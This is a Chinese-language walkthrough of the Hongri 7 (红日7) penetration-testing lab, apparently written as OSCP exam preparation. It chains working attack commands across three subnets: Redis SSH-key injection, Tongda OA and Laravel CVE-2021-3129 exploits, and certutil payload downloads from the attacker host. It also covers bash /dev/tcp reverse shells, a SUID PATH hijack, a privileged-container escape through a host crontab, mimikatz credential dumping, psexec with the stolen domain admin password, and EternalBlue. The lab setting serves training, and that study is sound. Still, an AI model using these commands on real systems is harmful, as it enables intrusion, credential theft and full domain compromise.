目录
-
第一层网络(10.58.81.0/24)
-
VPN/Wi-Fi(10.58.81.108)
-
获取权限
-
Web1(10.58.81.107)
-
获取权限
-
搭建隧道
-
第二层网络(192.168.52.0/24)
-
PC1(192.168.52.30)
-
获取权限
-
搭建隧道
-
信息收集
-
Web2(192.168.52.20)
-
获取权限
-
提升权限
-
容器逃逸
-
第三层网络(192.168.93.0/24)
-
DC(192.168.93.30)
-
获取权限
-
PC2(192.168.93.40)
-
获取权限
-
总结
-
攻击思路
-
网络拓扑
-
攻击路径
-
靶场搭建
-
靶场下载
-
网卡配置
-
靶场无法自启需要人工启动的服务
第一层网络(10.58.81.0/24)
1、VPN/Wi-Fi(10.58.81.108)
获取权限
目标单位的 VPN/Wi-Fi 存在弱口令漏洞,可以爆破出密码,获得目标单位内网的访问权限(备注:这句是我编的,目的是让靶场更真实)。
撕开口子后,我们将以 Kali 的 10.58.81.108 为据点,对整个目标单位内网的所有资产进行横向渗透,期望能够获得目标单位中集权系统的控制权限。
2、Web1(10.58.81.107)
获取权限
首先在 Kali 中使用fscan 漏扫工具[1]对 VPN/Wi-Fi 所在网段进行资产发现和漏洞发现。
使用命令chmod +x fscan_arm64
赋予可执行权限后使用命令sudo ./fscan_arm64 -h 10.58.81.0/24
进行扫描,最终发现 8 台存活主机(备注:这是我环境里的其他设备,与靶场无关),其中 10.58.81.107 的 Redis 服务存在未授权访问漏洞、Laravel 服务存在 CVE-2021-3129 漏洞。
由于 10.58.81.107 也开放了 22 端口,因此可以利用 Redis 服务的未授权访问漏洞,在 root 账户下写入 SSH 服务的公钥文件,从而获得 root 用户的登陆权限。
首先使用命令ssh-keygen -t rsa
生成 SSH 服务的公钥和私钥文件,并在会话框中输入./id_rsa
指定存储路径。
然后使用命令(echo -e "nn"; cat ./id_rsa.pub; echo -e "nn") > id_rsa.pub.txt
在公钥文件前后添加换行以免和 Redis 数据库中的其它数据混合,
最后使用命令cat id_rsa.pub.txt | redis-cli -h 10.58.81.107 -p 6379 -x set id_rsa_pub
将公钥文件写到 Redis 数据库中。
然后使用命令redis-cli -h 10.58.81.107
登陆 Redis 数据库,
使用命令config set dir /root/.ssh/
设置备份 Redis 数据库的文件夹,
使用命令config set dbfilename authorized_keys
设置备份 Redis 数据库的文件名,
使用命令save
备份 Redis 数据库,
使用命令exit
退出 Redis 数据库。
最后使用命令ssh [email protected] -i ./id_rsa
登陆 SSH 服务,获得 root 用户权限。
搭建隧道
拿下 Web1 后,我们通过网卡信息发现内网里面除了第一层网络的 10.58.81.0/24 网段之外,还存在 192.168.52.0/24 网段,那么接下来我们就可以对该网段进行横向渗透。
在 Kali 中使用命令sudo ./fscan_arm64 -h 192.168.52.0/24
并未发现存在资产,应该是 Kali 没有路由过去。
多亏了 Web1 是双网卡,那么我们就以 Web1 的 192.168.52.10 为据点搭建隧道,实现从第一层网络向第二层网络的访问。
首先在 Kali 中下载Venom 隧道工具[2],并使用命令./admin_linux_x64 -lport 9999
通过 admin 节点监听端口。
然后使用命令scp -i ./id_rsa ./Venom.v1.1.0/agent_linux_x64 [email protected]:/tmp/
将 agent 节点发给 Web1,
接着 SSH 登陆到 Web1 使用命令/tmp/agent_linux_x64 -rhost 10.58.81.108 -rport 9999
通过 agent 节点连接 Kali 的 admin 节点,此时我们在 admin 节点会看到连接成功的信息。
最后,我们回到 Kali,在 admin 节点中使用命令show
确定 Web1 的 agent 节点 id 是 1,然后使用命令goto 1
进入 Web1 的 agent 节点,使用命令socks 1111
基于 Web1 的 agent 节点在 Kali 本机的 1111 端口创建通往第二层网络的隧道。
后续在配置文件/etc/proxychains4.conf
中配置socks5 127.0.0.1 1111
就能使用 proxychains 进行访问。
第二层网络(192.168.52.0/24)
由于 Venom 和 MSF 代理的是 TCP/UDP 协议,而这些协议对资产存活的探测效率没有 ICMP/ARP 协议高,所以我们可以将 fscan 上传到 Web1 上对第二层网络进行资产发现和漏洞发现。
在 Kali 中使用命令scp -i ./id_rsa ./fscan [email protected]:/root/
将 fscan 上传到 Web1,在 Web1 中使用命令chmod +x ./fscan
赋予 fscan 可执行权限后使用命令sudo ./fscan -h 192.168.52.0/24
进行扫描,最终最终发现 4 台存活主机,其中:
192.168.52.20 的 Laravel 服务存在 CVE-2021-3129 漏洞;
192.168.52.30 的通达 OA 存在 tongda-user-session-disclosure 和 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload 漏洞、Windows7 系统本身存在 MS17-010 漏洞、Windows7 属于 WHOAMIANONY.ORG 域的成员。
由于 192.168.52.30 既有 OA 可以获取敏感信息(192.168.52.20 的 Laravel 只是默认页面)、又在域环境中可以横向到域控(192.168.52.20 开了 22 端口基本都是 Linux 服务器),所以它的渗透价值比 192.168.52.20 更大,我们优先渗透 192.168.52.30。
3、PC1(192.168.52.30)
获取权限
在浏览器中配置好代理后,访问http://192.168.52.30:8080/inc/expired.php
查看通达 OA 的版本,发现是 11.3 版。
在网上搜索发现该版本存在未授权文件上传漏洞和任意文件包含漏洞,可组合成 RCE 漏洞,详见:通达 OA 远程命令执行漏洞分析[3]。
在 Kali 中下载漏洞利用工具 td_rce[4],参数含义是:-u 指定存在未授权文件上传漏洞的 URL、-i 指定存在任意文件包含漏洞的 URL、-o 指定需要执行的任意命令。
然后使用命令proxychains python3 td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "whoami & hostname & ipconfig"
可以获得 nt authoritysystem 用户权限,成功横向到第二层网络。
搭建隧道
拿下 PC1 后,我们通过网卡信息发现内网里面除了第二层网络的 192.168.52.0/24 网段之外,还存在 192.168.93.0/24 网段,那么接下来我们就可以对该网段进行横向渗透。
首先在 Kali 的 admin 节点的控制台中,在 Web1 节点里执行命令listen 9999
,让 Web1 监听 9999 端口,以提供给 PC1 进行连接,从而建立隧道。
然后在 Venom 工具的目录下使用命令python3 -m http.server
创建 HTTP 服务,使用命令proxychains python3 td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "certutil -urlcache -split -f http://10.58.81.108:8000/agent.exe"
在 PC1 中下载 agent 节点。
然后使用命令proxychains python3 td_rce.py -u http://192.168.52.30:8080/ispirit/im/upload.php -i http://192.168.52.30:8080/ispirit/interface/gateway.php -o "start /b agent.exe -rhost 192.168.52.10 -rport 9999"
让 PC1 连接 Web1,从而建立隧道。
最后,我们回到 Kali,在 admin 节点中使用命令show
确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2
进入 PC1 的 agent 节点,使用命令socks 2222
基于 PC1 的 agent 节点在 Kali 本机的 2222 端口创建通往第三层网络的隧道。
后续在配置文件/etc/proxychains4.conf
中配置socks5 127.0.0.1 2222
就能使用 proxychains 进行访问。
信息收集
在 Kali 的 admin 节点的控制台中,使用命令show
确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2
进入 PC1 的 agent 节点,使用命令shell
进入 PC1 的 shell 环境,使用命令chcp 65001
将界面编码改成 UTF-8。
使用命令whoami
确定当前用户是nt authoritysystem
。使用命令net user
和net user /domain
确定当前用户是本地用户而非域用户(其实 system 用户一看就知道是本地用户),同时知道域是WHOAMIANONY.ORG
。
使用命令ipconfig /displaydns
确认域控制器是 dc.whoamianony.org,因为域控制器一般也是 DNS 服务器。使用命令nslookup dc.whoamianony.org
获得域控制器的 IP 地址 192.168.93.30。
在 admin 节点中使用命令show
确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2
进入 PC1 的 agent 节点,使用命令upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:MYOAwebrootispiritinterfacemimikatz.exe
将 mimikatz.exe 上传到 PC1 中。
接下来使用命令shell
进入 PC1 的 shell 环境,使用命令mimikatz.exe
进入 mimikatz 环境,使用命令privilege::debug
和sekurlsa::logonPasswords
从系统缓存中提取曾经登陆过系统的帐号密码,获得 WHOAMIANONY.ORG 域内两个域用户的帐号密码Administrator/Whoami2021
和bunny/Bunny2021
。
值得一提的是,这俩帐号是部署通达 OA 时,运维人员(我)亲手敲进去后被缓存在系统中的。
4、Web2(192.168.52.20)
在开始渗透第二层网络时,我们就已经分析出了 Web2 在攻击路径中几乎没有拿下的价值。完成 PC1 的渗透后更加佐证了这一点,因为我们已经拿到了域管理员的帐号密码,可以直接拿域控制器了。
但因为这是靶场,所以我们也对 Web2 进行渗透。
获取权限
在开始渗透第二层网络时, fscan 的扫描结果提到 192.168.52.20 存在 CVE-2021-3129 漏洞。该漏洞是因为 Laravel 开启 Debug 模式时,Ignition 组件不安全的调用了 file_get_contents 和 file_put_contents 函数,导致攻击者可以通过构造恶意 Log 文件等方式触发 Phar 反序列化,最终造成远程代码执行。
在 Kali 中下载laravel-CVE-2021-3129-EXP[5],使用命令proxychains python3 laravel-CVE-2021-3129-EXP.py http://192.168.52.20:8000
可以获得 Webshell,成功拿下 Web2。
需要注意的是,该 EXP 是在 2021-01-25 编写的,当时肯定用 Webshell 连接工具例如哥斯拉[6]调试过可以正常连接。
但是哥斯拉在 2021-04-16 的 v3.00 进行了较大改版,此后版本的哥斯拉都无法正常连接该 EXP 生成的 Webshell 了,v3.00 之前版本的哥斯拉才行。
推荐使用 2020-12-30 的 v2.92 版本的哥斯拉,因为该 EXP 的发布日期比它晚,说明该 EXP 发布时有用它调试过可以正常连接。
在 Kali 中下载哥斯拉后,使用命令java -jar Godzilla-V2.92.jar
打开哥斯拉,然后点击目标 – 添加
,按照下图进行基础配置,最后点击添加
就能连上 Webshell 了。
后续使用如果存在异常,可以使用命令java -version
看下是否要换个 Java 版本试试。我的 Java 版本是 11.0.22,可以正常使用 v2.92 版本的哥斯拉。
使用命令whoami & id & hostname & ifconfig
收割成果时,发现 ifconfig 以及 ip addr 命令等都无法使用。
而且 hostname 是 12 个英文和字母,有点像 Docker 容器的命名。
使用命令cat /proc/1/cgroup
和stat /.dockerenv
确认这台服务器果然是容器环境。
提升权限
由于获得的是 www-data 用户的权限,因此需要提权,提权之前先拿一个稳定的 shell。
在 Kali 中使用命令nc -nvlp 4444
监听端口,在 Webshell 中使用命令bash -c "bash -i >& /dev/tcp/10.58.81.108/4444 0>&1"
反弹 shell,就能拿到稳定的 shell 了。
逐个检查提权点,使用命令find / -perm -u=s -type f -ls 2>/dev/null
发现/home/jobs/shell 程序(下文统称:该程序)在执行时,会以该程序属主 root 用户的权限执行。
如果我们能在该程序中、或该程序引用的其它程序中,写入返回 shell 的代码,那么我们在执行该程序时,就能以该程序属主 root 用户的权限返回一个 shell,从而提权到 root 权限。
由于当前的 www-data 用户没有该程序的 write 权限,那就只能从该程序引用的其它 www-data 用户具有 wirte 权限的程序入手了。
使用命令file /home/jobs/shell
查看该程序的文件类型,发现是可执行程序,没法直接看代码,得逆向了。那就先把该程序放一边吧,继续检查其它提权点。
使用命令ls -l /home/jobs
检查家目录是否存在敏感文件,发现 demo.c 文件。
使用命令cat /home/jobs/demo.c
查看文件内容,是先获取 root 用户和 root 组的权限,然后执行 ps 命令。
这个敏感文件,会不会是该程序的源代码?使用命令/home/jobs/shell
执行该程序,确实是执行了 ps 命令,看来这个敏感文件应该大概可能就是该程序的源代码了。
分析源代码得知,该程序在执行 ps 命令时,没有使用绝对路径。因此我们可以修改环境变量,让 ps 命令指向我们的恶意程序(返回 shell),导致该程序在执行时,不是执行系统中的 ps 命令,而是执行我们的恶意程序,从而以该程序属主 root 用户的权限返回一个 shell,让我们提权到 root 权限。
使用命令echo "/bin/bash" > /tmp/ps
创建功能是返回 shell 的恶意程序/tmp/ps,使用命令chmod +x /tmp/ps
赋予其可执行权限。
使用命令export PATH=/tmp:$PATH
修改环境变量,让 ps 命令指向我们的恶意程序/tmp/ps,使用命令echo $PATH
确认环境变量修改成功。
使用命令/home/jobs/shell
执行该程序,返回一行空白。使用命令whoami ; id ; hostname ; ip addr
确认该程序以其属主 root 用户的权限给我们返回了一个 shell,提权成功。
容器逃逸
虽然拿到了 Docker 容器的 root 权限,但权限仍然受限,例如 ifconfig 和 ip addr 命令就执行不了,因此需要从容器中逃逸到宿主机,获得完整权限。
逐个检查逃逸点,使用命令cat /proc/self/status | grep CapEff
,发现结果是 0000003fffffffff 而不是 0000000000000000,说明该容器是由特权模式启动的,原理详见配置不当导致的容器逃逸[7]。
特权模式启动的容器,可以挂载宿主机的磁盘,并对磁盘具有 root 用户的读写权限。那我们不就能通过写入 SSH 公钥、写入反弹 shell 的计划任务,获得 root 用户的权限了?
使用命令ls -l /dev/sd*
查看宿主机接了几块硬盘,发现接了一块硬盘 sda,并划分了 3 个分区,分别是 sda1、sda2、sda5。使用命令fdisk -l
查看宿主机中可用的磁盘分区,发现 sda1、sda2、sda5 都可用,其中 sda1 是系统分区,也是我们的目标。
使用命令mkdir /tmp/sda1
创建一个目录,使用命令mount /dev/sda1 /tmp/sda1
将宿主机硬盘的系统分区/dev/sda1 挂载到/tmp/sda1 目录中。此时容器中的/tmp/sda1 目录,相当于宿主机中的/目录,可以使用命令ls -l /tmp/sda1
进行确认。
使用命令echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.58.81.108/5555 0>&1"' >> /tmp/sda1/etc/crontab
写入 root 用户的反弹 shell 的计划任务,在 Kali 中使用命令nc -nvlp 5555
进行监听,最终获得宿主机 root 用户的权限,逃逸成功。
第三层网络(192.168.93.0/24)
老样子,由于 Venom 和 MSF 代理的是 TCP/UDP 协议,而这些协议对资产存活的探测效率没有 ICMP/ARP 协议高,所以我们直接在 PC1 中使用 ICMP/ARP 协议对第三层网络进行资产发现。
在 Kali 的 admin 节点的控制台中,使用命令show
确定 PC1 的 agent 节点 id 是 2,然后使用命令goto 2
进入 PC1 的 agent 节点,使用命令shell
进入 PC1 的 shell 环境,使用命令chcp 65001
将界面编码改成 UTF-8。
使用命令FOR /L %i IN (1,1,254) DO @ping 192.168.93.%i -n 1 -w 1 | findstr TTL
进行资产发现,最终发现两个新的资产 192.168.93.30 和 192.168.93.40。
由于 192.168.93.30 是域控,所以它的渗透价值比 192.168.93.40 更大,我们优先渗透 192.168.93.30。
5、DC(192.168.93.30)
获取权限
由于 PC1 信息收集时,已经拿到 WHOAMIANONY.ORG 域管理员的帐号密码Administrator/Whoami2021
,因此直接使用命令proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:[email protected]
可以拿下域控制器。
6、PC2(192.168.93.40)
获取权限
由于拿到了域管理员的帐号密码,所以可以拿到域内所有机器的最高权限,包括这台 PC2。因此直接使用命令proxychains impacket-psexec WHOAMIANONY.ORG/Administrator:[email protected]
可以拿下 PC。
但这里是靶场,那就像 Web2 那样,这台 PC2 我们还是打一打吧。
使用命令proxychains nmap 192.168.93.40 -n -Pn --reason
发现 PC2 开放 139 和 445 端口,可以看下有没存在永恒之蓝漏洞。
使用命令msfconsole
打开 MSF,使用命令search ms17_010
搜索永恒之蓝相关模块。
使用命令use auxiliary/scanner/smb/smb_ms17_010
使用永恒之蓝漏洞探测 POC,使用命令set rhosts 192.168.93.40
配置目标、set Proxies socks5:127.0.0.1:2222
配置代理、run
执行 POC,最终确认 PC2 大概率存在永恒之蓝漏洞。
接下来使用命令use exploit/windows/smb/ms17_010_eternalblue
使用永恒之蓝漏洞利用 EXP,使用命令set rhosts 192.168.93.40
配置目标、set lhost 10.58.81.108
配置反弹地址、set lport 6666
配置反弹端口、setg ReverseAllowProxy true
允许反向代理、run
执行 EXP,但一直没能利用成功,最后以失败告终。
总结
攻击思路
网络拓扑
攻击路径
第一层网络(10.58.81.0/24)
1、VPN/Wi-Fi(10.58.81.108),存在弱口令漏洞,可以爆破出密码,获得目标单位内网的访问权限(备注:这句是我编的,目的是让靶场更真实)。
2、Web1(10.58.81.107)的 Redis 服务(6379),存在未授权访问漏洞,可以写入 SSH 公钥、或写入反弹 shell 的计划任务,获得 root 用户权限。由于 Web1 是双网卡,因此同时获得第二层网络的访问权限。
第二层网络(192.168.52.0/24)
3、PC1(192.168.52.30)的通达 OA 服务(8080),存在未授权文件上传漏洞和任意文件包含漏洞,可以先未授权上传包含反弹 shell 代码的文件、再用任意文件包含漏洞触发执行,获得 system 用户权限。由于 PC1 是双网卡,因此同时获得第三层网络的访问权限。
4、Web2(192.168.52.20)的 Laravel 服务(8000),存在 Phar 反序列化漏洞,可以先在日志中写入生成 Webshell 的代码、再用 Phar 反序列化漏洞触发生成 Webshell,获得 Docker 容器的 www-data 用户权限;存在 suid 提权漏洞,能以 root 权限执行返回 shell 的恶意程序,获得 Docker 容器的 root 用户权限;存在 Docker 容器特权模式逃逸漏洞,能在宿主机中写入 SSH 公钥、或写入反弹 shell 的计划任务,获得宿主机的 root 用户权限。
第三层网络(192.168.93.0/24)
5、DC(192.168.93.30),域管理员凭据在 PC1 中泄漏,可以直接进行登陆,获得 system 用户权限。
6、PC2(192.168.93.40)的 SMB 服务(445),存在永恒之蓝漏洞,可以获得 system 用户权限。
靶场搭建
靶场下载
本次内网靶场使用 红日 7[8]。
网卡配置
在 VMware 中添加网卡,位置是Edit – Virtual Network Editor – Change Settings – Add Network
,最终效果是存在如下三张网卡。
靶场无法自启需要人工启动的服务
Web1:使用账号密码web/web2021
登陆操作系统,虽然不知道为什么界面显示的账号是 ubuntu,但密码仍然是 web2021。然后使用命令sudo redis-server /etc/redis.conf
启动 Redis 服务。
Web2:使用账号密码ubuntu/ubuntu
登陆操作系统,然后使用命令sudo service docker start
启动 Docker 服务、使用命令sudo docker start 8e172820ac78
启动 Laravel 服务的容器。
PC1:使用账号密码bunny/Bunny2021
登陆操作系统,然后使用命令C:MYOAbinAutoConfig.exe
启动通达 OA 服务,过程中的 UAC 弹窗需要输入本地管理员的账号密码administratorWhoami2021
。
同时还需要关闭 Windows 防火墙,路径是控制面板 - 系统和安全 - Windows防火墙 - 打开或关闭Windows防火墙 - 关闭Windows防火墙
。
参考资料
fscan漏扫工具: https://github.com/shadow1ng/fscan
[2]Venom隧道工具: https://github.com/Dliv3/Venom
[3]通达OA远程命令执行漏洞分析: https://www.freebuf.com/vuls/236034.html
[4]漏洞利用工具td_rce: https://github.com/ghtwf01/td_rce
[5]laravel-CVE-2021-3129-EXP: https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
[6]哥斯拉: https://github.com/BeichenDream/Godzilla
[7]配置不当导致的容器逃逸: https://www.kingkk.com/2021/01/配置不当导致的容器逃逸/
[8]红日7: http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
原文始发于微信公众号(OneMoreThink):靶场实战(20):OSCP备考之内网靶场红日7
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论